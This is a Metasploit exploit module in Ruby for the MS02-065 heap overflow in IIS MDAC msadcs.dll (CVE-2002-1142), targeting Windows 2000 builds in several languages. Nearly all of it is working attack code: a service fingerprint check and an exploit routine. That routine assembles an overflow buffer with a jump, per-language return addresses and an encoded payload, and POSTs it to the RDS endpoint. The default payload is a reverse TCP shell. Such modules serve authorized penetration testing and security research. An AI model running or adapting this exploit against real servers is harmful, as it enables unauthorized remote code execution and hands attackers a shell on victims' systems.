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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
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        'Description' => %q{
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          This module can be used to execute arbitrary code on IIS servers
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          that expose the /msadc/msadcs.dll Microsoft Data Access Components
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          (MDAC) Remote Data Service (RDS) DataFactory service. The service is
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          exploitable even when RDS is configured to deny remote connections
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          (handsafe.reg). The service is vulnerable to a heap overflow where
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          the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
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          Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
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        },
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        'Author' => 'aushack',
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        'Platform' => 'win',
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        'Arch' => [ARCH_X86],
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        'References' => [
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          ['OSVDB', '14502'],
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          ['BID', '6214'],
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          ['CVE', '2002-1142'],
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          ['MSB', 'MS02-065'],
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          ['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html']
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        ],
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        'Privileged' => false,
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x27:?<>=$\\/;=+%#&", # "\u0000\t\n\v\r \"':?<>=$\\/;=+%#&"
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          'StackAdjustment' => -3500
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        },
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        'DefaultOptions' => {
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          'PAYLOAD' => 'windows/shell/reverse_tcp',
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          'EXITFUNC' => 'seh' # stops IIS from crashing... hopefully
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        },
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        'Targets' => [
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          # jmp eax ws2help.dll
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          [ 'Windows 2000 Pro SP0-SP3 (English)', { 'Ret' => 0x75023783 } ],
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          [ 'Windows 2000 Pro SP0 (Korean)', { 'Ret' => 0x74f93783 } ],
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          [ 'Windows 2000 Pro SP0 (Dutch)', { 'Ret' => 0x74fd3783 } ],
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          [ 'Windows 2000 Pro SP0 (Finnish)', { 'Ret' => 0x74ff3783 } ],
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          [ 'Windows 2000 Pro SP0 (Turkish)', { 'Ret' => 0x74fc3783 } ],
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          [ 'Windows 2000 Pro SP0-SP1 (Greek)', { 'Ret' => 0x74f73783 } ],
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          [ 'Windows 2000 Pro SP1 (Arabic)', { 'Ret' => 0x74f93783 } ],
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          [ 'Windows 2000 Pro SP1 (Czech)', { 'Ret' => 0x74fc3783 } ],
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          [ 'Windows 2000 Pro SP2 (French)', { 'Ret' => 0x74fa3783 } ],
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          [ 'Windows 2000 Pro SP2 (Portuguese)', { 'Ret' => 0x74fd3783 } ],
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2002-11-02',
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        'Notes' => {
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          'Reliability' => [REPEATABLE_SESSION],
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options([
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      OptString.new('TARGETURI', [ true, 'The path to msadcs.dll', '/msadc/msadcs.dll' ], aliases: [ 'PATH' ]),
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    ])
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  end
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  def check
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    res = send_request_cgi('uri' => normalize_uri(target_uri.path))
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    return CheckCode::Unknown('Connection failed') unless res
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    return CheckCode::Unknown('HTTP server error') if res.code == 500
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    return CheckCode::Safe('Access Forbidden') if res.code == 403
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    if res.code == 200 && res.body.to_s.include?('Content-Type: application/x-varg')
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      return CheckCode::Detected("#{target_uri.path} content type matches fingerprint application/x-varg")
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    end
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    CheckCode::Safe
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  end
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  def exploit
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    sploit = rand_text_alphanumeric(136)
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    sploit[24, 2] = Rex::Arch::X86.jmp_short(117)
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    sploit << [target['Ret']].pack('V')
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    sploit << payload.encoded
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    send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, '/AdvancedDataFactory.Query'),
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      'method' => 'POST',
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      'data' => "Content-Type: #{sploit}"
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    })
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  end
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end
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